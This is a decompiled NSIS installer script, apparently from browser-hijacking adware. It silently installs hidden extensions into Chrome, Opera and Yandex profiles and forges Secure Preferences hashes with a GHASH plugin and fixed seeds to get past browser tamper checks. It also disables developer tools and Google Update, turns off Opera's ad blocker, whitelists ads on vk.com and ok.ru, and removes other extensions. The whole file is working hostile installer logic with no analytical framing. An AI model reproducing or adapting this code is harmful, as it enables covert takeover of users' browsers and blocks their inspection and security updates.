; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_24_\Extensions\$_138_\$_139_
; Push $PLUGINSDIR\nt.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ $_24_\Extensions\$_138_\$_139_
Call func_12459
StrCpy $_151_ 1
label_6380:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEDJN
IfErrors 0 label_6415
StrCmp $_86_ "" 0 label_6386
Push DJN
Call func_11441
label_6386:
IfFileExists $_24_\Extensions\$_83_ 0 label_6388
RMDir /r $_24_\Extensions\$_83_
label_6388:
StrCmp $_77_ "" 0 label_6403
ALPHAGHAMI::GHASH $_85_ $_63_ $_86_ $_87_ $_88_ $_89_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Push ""
; Push ""
; Push $_89_
; Push $_88_
; Push $_87_
; Push $_86_
; Push $_63_
; Push $_85_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_77_
label_6403:
IfFileExists $_24_\Extensions\$_83_\$_84_ label_6405
CreateDirectory $_24_\Extensions\$_83_\$_84_
label_6405:
IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_6407
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png $_24_\Extensions\$_83_\$_84_\128.png ; $(LSTR_7)$_24_\Extensions\$_83_\$_84_\128.png ; "Copy to "
label_6407:
Push $_30_
Push $_83_
Push $PLUGINSDIR\SecurePreferencesWSEDJN
Push $_77_
Call func_11497
StrCpy $_45_ $_24_\Extensions\$_83_\$_84_
Call func_12494
StrCpy $_81_ 1
label_6415:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEBAP
IfErrors 0 label_6450
StrCmp $_93_ "" 0 label_6421
Push BAP
Call func_11441
label_6421:
IfFileExists $_24_\Extensions\$_90_ 0 label_6423
RMDir /r $_24_\Extensions\$_90_
label_6423:
StrCmp $_78_ "" 0 label_6438
ALPHAGHAMI::GHASH $_91_ $_63_ $_93_ $_94_ $_95_ $_96_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Push ""
; Push ""
; Push $_96_
; Push $_95_
; Push $_94_
; Push $_93_
; Push $_63_
; Push $_91_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_78_
label_6438:
IfFileExists $_24_\Extensions\$_90_\$_92_ label_6440
CreateDirectory $_24_\Extensions\$_90_\$_92_
label_6440:
IfFileExists $PLUGINSDIR\CRXIMG\GDE.png 0 label_6442
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDE.png $_24_\Extensions\$_90_\$_92_\128.png ; $(LSTR_7)$_24_\Extensions\$_90_\$_92_\128.png ; "Copy to "
label_6442:
Push $_30_
Push $_90_
Push $PLUGINSDIR\SecurePreferencesWSEBAP
Push $_78_
Call func_11497
StrCpy $_45_ $_24_\Extensions\$_90_\$_92_
Call func_12494
StrCpy $_82_ 1
label_6450:
StrCpy $_47_ $_24_\Bookmarks
IfFileExists $_24_\Bookmarks.inst label_6453
Call func_12634
label_6453:
Call func_12776
IfFileExists $_24_\Preferences 0 label_6480
Delete $_24_\Preferences-install
CopyFiles /SILENT $_24_\Preferences $_24_\Preferences-install ; $(LSTR_7)$_24_\Preferences-install ; "Copy to "
ClearErrors
nsJSON::Set /file $_24_\Preferences-install
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_24_\Preferences-install
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_6480
nsJSON::Serialize /format /file $_24_\Preferences-install
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_24_\Preferences-install
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_6480:
Call func_13286
Delete "$_24_\Secure Preferences"
IfFileExists "$_24_\Secure Preferences" 0 label_6485
RMDir /r $_24_\Extensions\$_51_
Goto label_6494
label_6485:
Call func_13286
CopyFiles /SILENT "$_24_\Secure Preferences-install" "$_24_\Secure Preferences" ; "$(LSTR_7)$_24_\Secure Preferences" ; "Copy to "
IfFileExists $_24_\Preferences-install 0 label_6492
Call func_13286
Delete $_24_\Preferences
CopyFiles /SILENT $_24_\Preferences-install $_24_\Preferences ; $(LSTR_7)$_24_\Preferences ; "Copy to "
Delete $_24_\Preferences-install
label_6492:
Delete /REBOOTOK "$_24_\Secure Preferences-install"
RMDir /r /REBOOTOK "$_24_\Sync Data Backup"
label_6494:
FunctionEnd
Function func_6495
WriteRegDWORD HKLM Software\Policies\Google\Update UpdateDefault 0
Call func_12622
Call func_11125
CreateDirectory "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_"
nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_"
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6509
Delete "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png"
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_6509
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to "
label_6509:
FileOpen $1 "$LOCALAPPDATA\Google\Chrome\User Data\First Run" w
FileWrite $1 ""
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences" w
FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}}
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Google\Chrome\User Data\Default\Secure Preferences" w
FileWrite $1 ""
FileClose $1
StrCpy $_30_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Secure Preferences"
StrCmp $_63_ "" 0 label_6522
Call func_4709
Pop $_63_
label_6522:
ALPHAGHAMI::GHASH $_55_ $_63_ $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Push $_72_
; Push $_71_
; Push $_70_
; Push $_69_
; Push $_68_
; Push $_67_
; Push $_63_
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push $R8
Call func_11497
StrCpy $_45_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_"
Call func_12133
StrCmp 1 1 0 label_6573
Call func_11290
CreateDirectory "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_"
nsisunz::Unzip $PLUGINSDIR\nt.zip "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_"
; Push $PLUGINSDIR\nt.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_"
Call func_12459
StrCmp $_141_ "" 0 label_6568
ALPHAGHAMI::GHASH $_140_ $_63_ $_142_ $_144_ $_145_ $_146_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Push ""
; Push ""
; Push $_146_
; Push $_145_
; Push $_144_
; Push $_142_
; Push $_63_
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_141_
label_6568:
Push $_30_
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNT
Push $_141_
Call func_11497
label_6573:
FunctionEnd
Function func_6574
Call func_12622
IfFileExists "$APPDATA\Opera Software\Opera Stable\Preferences-install" 0 label_6577
Delete "$APPDATA\Opera Software\Opera Stable\Preferences-install"
label_6577:
CopyFiles /SILENT "$APPDATA\Opera Software\Opera Stable\Preferences" "$APPDATA\Opera Software\Opera Stable\Preferences-install" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Preferences-install" ; "Copy to "
StrCpy $_30_ "$APPDATA\Opera Software\Opera Stable\Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_6620
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_6620:
Call func_11125
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_" 0 label_6623
RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_"
label_6623:
nsisunz::Unzip $PLUGINSDIR\sl.zip "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6633
Delete "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png"
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" label_6633
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "Copy to "
label_6633:
StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
Call func_12133
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push 0
Call func_11497
StrCmp 1 1 0 label_6661
ClearErrors
ReadINIStr $1 $EXEDIR\le LE NTSS
IfErrors 0 label_6661
Call func_11290
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_" 0 label_6647
RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_"
label_6647:
nsisunz::Unzip $PLUGINSDIR\nt.zip "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_\$_139_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_\$_139_"
; Push $PLUGINSDIR\nt.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_\$_139_"
Call func_12459
Push $_30_
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNT
Push 0
Call func_11497
StrCpy $_151_ 1
label_6661:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEBAP
IfErrors 0 label_6681
StrCmp $_93_ "" 0 label_6667
Push BAP
Call func_11441
label_6667:
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_" 0 label_6669
RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_"
label_6669:
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_" label_6671
CreateDirectory "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_"
label_6671:
IfFileExists $PLUGINSDIR\CRXIMG\GDE.png 0 label_6673
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDE.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_\128.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_\128.png" ; "Copy to "
label_6673:
Push $_30_
Push $_90_
Push $PLUGINSDIR\SecurePreferencesWSEBAP
Push 0
Call func_11497
StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_"
Call func_12494
StrCpy $_82_ 1
label_6681:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEDJN
IfErrors 0 label_6701
StrCmp $_86_ "" 0 label_6687
Push DJN
Call func_11441
label_6687:
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_" 0 label_6689
RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_"
label_6689:
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_" label_6691
CreateDirectory "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_"
label_6691:
IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_6693
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_\128.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_\128.png" ; "Copy to "
label_6693:
Push $_30_
Push $_83_
Push $PLUGINSDIR\SecurePreferencesWSEDJN
Push 0
Call func_11497
StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_"
Call func_12494
StrCpy $_81_ 1
label_6701:
ClearErrors
nsJSON::Set /file "$APPDATA\Opera Software\Opera Stable\Preferences-install"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Preferences-install"
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set adblocker enabled /value false
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push false
; Push /value
; Push enabled
; Push adblocker
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set adblocker whitelist_initialized /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push whitelist_initialized
; Push adblocker
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set profile content_settings exceptions ads vk.com,* /value {$\"setting$\":[1,1]}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {$\"setting$\":[1,1]}
; Push /value
; Push vk.com,*
; Push ads
; Push exceptions
; Push content_settings
; Push profile
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set profile content_settings exceptions ads ok.ru,* /value {$\"setting$\":[1,1]}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {$\"setting$\":[1,1]}
; Push /value
; Push ok.ru,*
; Push ads
; Push exceptions
; Push content_settings
; Push profile
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_6754
nsJSON::Serialize /format /file "$APPDATA\Opera Software\Opera Stable\Preferences-install"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Preferences-install"
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_6754:
Call func_13326
Delete "$APPDATA\Opera Software\Opera Stable\Preferences"
IfFileExists "$APPDATA\Opera Software\Opera Stable\Preferences" label_6760
CopyFiles /SILENT "$APPDATA\Opera Software\Opera Stable\Preferences-install" "$APPDATA\Opera Software\Opera Stable\Preferences" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Preferences" ; "Copy to "
Delete "$APPDATA\Opera Software\Opera Stable\Preferences-install"
Goto label_6761
label_6760:
RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_"
label_6761:
StrCpy $_47_ "$APPDATA\Opera Software\Opera Stable\Bookmarks"
IfFileExists "$APPDATA\Opera Software\Opera Stable\Bookmarks.inst" label_6764
Call func_12634
label_6764:
Call func_12776
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\kcoiohanijcgkopegkopkganaganfanj\*" 0 label_6767
RMDir /r /REBOOTOK "$APPDATA\Opera Software\Opera Stable\Extensions\kcoiohanijcgkopegkopkganaganfanj\*"
label_6767:
FunctionEnd
Function func_6768
Call func_12622
Call func_11125
CreateDirectory "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
nsisunz::Unzip $PLUGINSDIR\sl.zip "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6781
Delete "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png"
IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" label_6781
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "Copy to "
label_6781:
StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_"
Call func_12133
Call func_12787
CopyFiles /SILENT $PLUGINSDIR\PREFFI "$APPDATA\Opera Software\Opera Stable\Preferences" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Preferences" ; "Copy to "
FunctionEnd
Function func_6786
ClearErrors
nsJSON::Set /file "$APPDATA\Opera Software\Opera Stable\Preferences"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Preferences"
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set adblocker enabled /value false
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push false
; Push /value
; Push enabled
; Push adblocker
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_6809
nsJSON::Serialize /format /file "$APPDATA\Opera Software\Opera Stable\Preferences"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$APPDATA\Opera Software\Opera Stable\Preferences"
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_6809:
FunctionEnd
Function func_6810
Call func_12622
IfFileExists $_25_\Preferences 0 label_6853
IfFileExists $_25_\Preferences-install 0 label_6814
Delete $_25_\Preferences-install
label_6814:
CopyFiles /SILENT $_25_\Preferences $_25_\Preferences-install ; $(LSTR_7)$_25_\Preferences-install ; "Copy to "
StrCpy $_30_ $_25_\Preferences-install
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get browser /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push browser
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_6853
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_6853
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_6853:
IfFileExists "$_25_\Secure Preferences" label_6857
StrCmp $_43_ "" label_6857
StrCpy $_39_ 1
Goto label_7072
label_6857:
IfFileExists "$_25_\Secure Preferences-install" 0 label_6859
Delete "$_25_\Secure Preferences-install"
label_6859:
CopyFiles /SILENT "$_25_\Secure Preferences" "$_25_\Secure Preferences-install" ; "$(LSTR_7)$_25_\Secure Preferences-install" ; "Copy to "
StrCpy $_30_ "$_25_\Secure Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_6902
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_6902:
Call func_11125
IfFileExists $_25_\Extensions\$_51_ 0 label_6905
RMDir /r $_25_\Extensions\$_51_
label_6905:
IfFileExists $_25_\Extensions\bieimkcgkepinadnphjpljpcfbdipofn 0 label_6907
RMDir /r /REBOOTOK $_25_\Extensions\bieimkcgkepinadnphjpljpcfbdipofn
label_6907:
nsisunz::Unzip $PLUGINSDIR\sl.zip $_25_\Extensions\$_51_\$_54_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_25_\Extensions\$_51_\$_54_
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6917
Delete $_25_\Extensions\$_51_\$_54_\img\48.png
IfFileExists $_25_\Extensions\$_51_\$_54_\img\48.png label_6917
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_25_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_25_\Extensions\$_51_\$_54_\img\48.png ; "Copy to "
label_6917:
StrCpy $_45_ $_25_\Extensions\$_51_\$_54_
Call func_12133
StrCmp $_40_ 2 label_6938
StrCmp $_63_ "" 0 label_6923
Call func_4709
Pop $_63_
label_6923:
ALPHAGHAMI::GHASH $_55_ $_63_ $_73_ $_74_ $_75_ $_76_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_76_
; Push $_75_
; Push $_74_
; Push $_73_
; Push $_63_
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Goto label_6952
label_6938:
ALPHAGHAMI::GHASH $_55_ "" $_73_ $_74_ $_75_ $_76_ "" "" ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push ""
; Push ""
; Push $_76_
; Push $_75_
; Push $_74_
; Push $_73_
; Push ""
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
label_6952:
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferencesYABR
Push $R8
Call func_11497
StrCmp 1 1 0 label_7011
ClearErrors
ReadINIStr $1 $EXEDIR\le LE NTSS
IfErrors 0 label_7011
Call func_11290
IfFileExists $_25_\Extensions\$_138_ 0 label_6964
RMDir /r $_25_\Extensions\$_138_
label_6964:
StrCmp $_40_ 2 label_6983
StrCmp $_63_ "" 0 label_6968
Call func_4709
Pop $_63_
label_6968:
ALPHAGHAMI::GHASH $_140_ $_63_ $_147_ $_148_ $_149_ $_150_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_150_
; Push $_149_
; Push $_148_
; Push $_147_
; Push $_63_
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Goto label_6997
label_6983:
ALPHAGHAMI::GHASH $_140_ "" $_147_ $_148_ $_149_ $_150_ "" "" ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push ""
; Push ""
; Push $_150_
; Push $_149_
; Push $_148_
; Push $_147_
; Push ""
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
label_6997:
Push $_30_
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNTYABR
Push $R8
Call func_11497
nsisunz::Unzip $PLUGINSDIR\nt.zip $_25_\Extensions\$_138_\$_139_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_25_\Extensions\$_138_\$_139_
; Push $PLUGINSDIR\nt.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ $_25_\Extensions\$_138_\$_139_
Call func_12459
StrCpy $_151_ 1
label_7011:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEDJN
IfErrors 0 label_7064
StrCmp $_86_ "" 0 label_7017
Push DJN
Call func_11441
label_7017:
IfFileExists $_25_\Extensions\$_83_ 0 label_7019
RMDir /r $_25_\Extensions\$_83_
label_7019:
StrCmp $_40_ 2 label_7038
StrCmp $_63_ "" 0 label_7023
Call func_4709
Pop $_63_
label_7023:
ALPHAGHAMI::GHASH $_85_ $_63_ $_86_ $_87_ $_88_ $_89_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
